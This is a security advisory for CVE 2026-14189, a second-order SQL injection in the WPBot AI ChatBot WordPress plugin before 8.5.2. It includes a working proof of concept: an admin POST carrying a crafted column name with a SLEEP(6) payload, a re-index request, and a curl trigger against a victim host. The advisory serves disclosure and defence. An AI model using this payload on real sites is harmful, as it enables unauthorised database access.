WPBot AI ChatBot < 8.5.2 – Admin+ Second-Order SQL Injection via qc_bot_str_fields | CVE 2026-14189

Description

The plugin does not validate administrator-configured field identifiers before using them in a SQL query, allowing users with administrator access to perform SQL injection that executes when a visitor triggers a search.

Proof of Concept

Prerequisites: WPBot AI ChatBot active; the "Simple Text Responses" feature in use (at least one Q&A entry, or use the Re-Index control).

1. As Administrator, on Settings > Simple Text Responses, save the search-fields config with a crafted column name (quote-free, to survive WP magic-quotes). Equivalent request (valid str_nonce from the page):
POST /wp-admin/admin.php?page=simple-text-response
str_nonce=<page-nonce>&qc_bot_str_fields[]=`query`,`keyword`) AGAINST(0x7a IN NATURAL LANGUAGE MODE) OR SLEEP(6) OR MATCH(`query`,`keyword`

2. As Administrator, ensure a matching FULLTEXT index exists - click Re-Index (or add/edit any Q&A entry):
POST /wp-admin/admin.php?page=simple-text-response
str_nonce=<page-nonce>&qc-re-index=1

3. As an unauthenticated attacker, trigger the search and observe the time-based injection:
curl -s -o /dev/null -w "%{time_total}\n" -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  -d "action=wpbo_search_response&keyword=zznomatch12345"

Observed: ~6s (injected SLEEP(6) executes); a benign config returns in ~0.02s. Swap SLEEP(6) -> SLEEP(3) to confirm scaling.